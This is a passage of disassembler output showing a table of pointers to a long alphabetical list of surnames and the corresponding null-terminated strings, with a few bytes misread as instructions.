dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
; ---------------------------------------------------------------------------
and ah, ch
inc edx
add [esp+ebp*8], dl
inc edx
add [esp+ebp*8], cl
inc edx
add [esp+ebp*8], al
inc edx
add ah, bh
jmp short loc_42EC09
; ---------------------------------------------------------------------------
align 4
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EBD4o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EBD0o
align 4
aZurn db 'Zurn',0 ; DATA XREF: ___:0042EBCCo
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EBC8o
aZoldak db 'Zoldak',0
align 4
dd 6272655Ah
db 69h
; ---------------------------------------------------------------------------
loc_42EC09: ; CODE XREF: ___:0042EBC5j
outsb
imul eax, [eax], 6167655Ah
outsb
jnb short $+2
add [edx+61h], bl
outsb
db 67h
ja near ptr 0EC83h
insb
insb
; ---------------------------------------------------------------------------
dd 0
aZahedi db 'Zahedi',0
align 4
aZachary db 'Zachary',0 ; DATA XREF: ___:0042EBB0o
aYu db 'Yu',0 ; DATA XREF: ___:0042EBACo
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EBA8o
align 10h
aYoo db 'Yoo',0 ; DATA XREF: ___:0042EBA4o
aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EBA0o
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EB9Co
align 4
aYesson db 'Yesson',0 ; DATA XREF: ___:0042EB98o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EB94o
aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EB90o
align 4
aYates db 'Yates',0 ; DATA XREF: ___:0042EB8Co
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EB88o
aYankee db 'Yankee',0 ; DATA XREF: ___:0042EB84o
align 4
aYamane db 'Yamane',0 ; DATA XREF: ___:0042EB80o
align 4
aYacono db 'Yacono',0 ; DATA XREF: ___:0042EB7Co
align 4
aVotey db 'Votey',0 ; DATA XREF: ___:0042EB78o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EB74o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EB70o
align 4
aWoods db 'Woods',0 ; DATA XREF: ___:0042EB6Co
align 4
aWooden db 'Wooden',0 ; DATA XREF: ___:0042EB68o
align 4
aWoo db 'Woo',0 ; DATA XREF: ___:0042EB64o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EB60o
align 4
aWolk db 'Wolk',0 ; DATA XREF: ___:0042EB5Co
align 4
aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EB58o
align 4
aViviani db 'Viviani',0 ; DATA XREF: ___:0042EB54o
aVitali db 'Vitali',0 ; DATA XREF: ___:0042EB50o
align 4
aWilson db 'Wilson',0 ; DATA XREF: ___:0042EB4Co
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EB48o
aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EB44o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EB40o
align 10h
aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EB3Co
align 4
aWilk db 'Wilk',0 ; DATA XREF: ___:0042EB38o
align 10h
aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EB34o
aWilder db 'Wilder',0 ; DATA XREF: ___:0042EB30o
align 10h
aVignola db 'Vignola',0 ; DATA XREF: ___:0042EB2Co
aViens db 'Viens',0 ; DATA XREF: ___:0042EB28o
align 10h
aWiener db 'Wiener',0 ; DATA XREF: ___:0042EB24o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EB20o
aViano db 'Viano',0 ; DATA XREF: ___:0042EB1Co
align 4
aViana db 'Viana',0 ; DATA XREF: ___:0042EB18o
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EB14o
align 10h
aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EB10o
align 4
aWhite db 'White',0 ; DATA XREF: ___:0042EB0Co
align 10h
aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EB08o
aWhately db 'Whately',0 ; DATA XREF: ___:0042EB04o
aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EB00o
align 4
aWescott db 'Wescott',0 ; DATA XREF: ___:0042EAFCo
aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EAF8o
align 4
aVenne db 'Venne',0 ; DATA XREF: ___:0042EAF4o
align 4
aWengret db 'Wengret',0 ; DATA XREF: ___:0042EAF0o
aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EAECo
align 4
aWelles db 'Welles',0 ; DATA XREF: ___:0042EAE8o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EAE4o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EAE0o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EADCo
align 10h
aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EAD8o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EAD4o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EAD0o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EACCo
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EAC8o
aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EAC4o
align 10h
aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EAC0o
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EABCo
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EAB8o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EAB4o
aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EAB0o
align 4
aWalter db 'Walter',0 ; DATA XREF: ___:0042EAACo
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EAA8o
align 10h
aWales db 'Wales',0 ; DATA XREF: ___:0042EAA4o
align 4
aValencia db 'Valencia',0 ; DATA XREF: ___:0042EAA0o
align 4
aValberg db 'Valberg',0 ; DATA XREF: ___:0042EA9Co
aWaite db 'Waite',0 ; DATA XREF: ___:0042EA98o
align 4
aVacca db 'Vacca',0 ; DATA XREF: ___:0042EA94o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EA90o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EA8Co
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EA88o
align 4
aUrban db 'Urban',0 ; DATA XREF: ___:0042EA84o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EA80o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EA7Co
align 4
aUllman db 'Ullman',0 ; DATA XREF: ___:0042EA78o
align 10h
aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EA74o
align 4
aTwells db 'Twells',0 ; DATA XREF: ___:0042EA70o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EA6Co
align 4
aTurek db 'Turek',0 ; DATA XREF: ___:0042EA68o
align 4
aTurano db 'Turano',0 ; DATA XREF: ___:0042EA64o
align 4
aTukan db 'Tukan',0 ; DATA XREF: ___:0042EA60o
align 4
aTudge db 'Tudge',0 ; DATA XREF: ___:0042EA5Co
align 4
aTuck db 'Tuck',0 ; DATA XREF: ___:0042EA58o
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EA54o
align 10h
aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EA50o
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EA4Co
aTruss db 'Truss',0 ; DATA XREF: ___:0042EA48o
align 4
aTroy db 'Troy',0 ; DATA XREF: ___:0042EA44o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: ___:0042EA40o
aTringali db 'Tringali',0 ; DATA XREF: ___:0042EA3Co
align 4
aTrewin db 'Trewin',0 ; DATA XREF: ___:0042EA38o
align 10h
aTrenga db 'Trenga',0 ; DATA XREF: ___:0042EA34o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: ___:0042EA30o
align 4
aToye db 'Toye',0 ; DATA XREF: ___:0042EA2Co
align 4
aTowler db 'Towler',0 ; DATA XREF: ___:0042EA28o
align 4
aTorske db 'Torske',0 ; DATA XREF: ___:0042EA24o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: ___:0042EA20o
aTopulos db 'Topulos',0 ; DATA XREF: ___:0042EA1Co
aToomer db 'Toomer',0 ; DATA XREF: ___:0042EA18o
align 4
aTomford db 'Tomford',0 ; DATA XREF: ___:0042EA14o
aTolman db 'Tolman',0 ; DATA XREF: ___:0042EA10o
align 4
aTolls db 'Tolls',0 ; DATA XREF: ___:0042EA0Co
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042EA08o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042EA04o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: ___:0042EA00o
aTill db 'Till',0 ; DATA XREF: ___:0042E9FCo
align 4
aTierney db 'Tierney',0 ; DATA XREF: ___:0042E9F8o
aThroop db 'Throop',0 ; DATA XREF: ___:0042E9F4o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E9F0o
aThisted db 'Thisted',0 ; DATA XREF: ___:0042E9ECo
aThibault db 'Thibault',0 ; DATA XREF: ___:0042E9E8o
align 10h
aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E9E4o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E9E0o
align 4
aThan db 'Than',0 ; DATA XREF: ___:0042E9DCo
align 10h
aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E9D8o
align 4
aTenney db 'Tenney',0 ; DATA XREF: ___:0042E9D4o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E9D0o
align 4
aTemes db 'Temes',0 ; DATA XREF: ___:0042E9CCo
align 4
aTeague db 'Teague',0 ; DATA XREF: ___:0042E9C8o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E9C4o
align 4
aTawn db 'Tawn',0 ; DATA XREF: ___:0042E9C0o
align 10h
aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E9BCo
aTatar db 'Tatar',0 ; DATA XREF: ___:0042E9B8o
align 10h
aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E9B4o
align 4
aTandler db 'Tandler',0 ; DATA XREF: ___:0042E9B0o
aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E9ACo
aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E9A8o
align 4
aTai db 'Tai',0 ; DATA XREF: ___:0042E9A4o
aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E9A0o
aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E99Co
aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E998o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E994o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E990o
align 4
aSuo db 'Suo',0 ; DATA XREF: ___:0042E98Co
aSumner db 'Sumner',0 ; DATA XREF: ___:0042E988o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E984o
align 4
aStringer db 'Stringer',0 ; DATA XREF: ___:0042E980o
align 10h
aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E97Co
aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E978o
aStrange db 'Strange',0 ; DATA XREF: ___:0042E974o
aStott db 'Stott',0 ; DATA XREF: ___:0042E970o
align 10h
aStorer db 'Storer',0 ; DATA XREF: ___:0042E96Co
align 4
aStonich db 'Stonich',0 ; DATA XREF: ___:0042E968o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E964o
aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E960o
align 4
aStockton db 'Stockton',0 ; DATA XREF: ___:0042E95Co
align 4
aStock db 'Stock',0 ; DATA XREF: ___:0042E958o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E954o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E950o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E94Co
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E948o
aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E944o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E940o
aStefani db 'Stefani',0 ; DATA XREF: ___:0042E93Co
aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E938o
align 4
aStates db 'States',0 ; DATA XREF: ___:0042E934o
align 10h
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E930o
align 10h
aStang db 'Stang',0 ; DATA XREF: ___:0042E92Co
align 4
aStam db 'Stam',0 ; DATA XREF: ___:0042E928o
align 10h
aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E924o
aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E920o
align 4
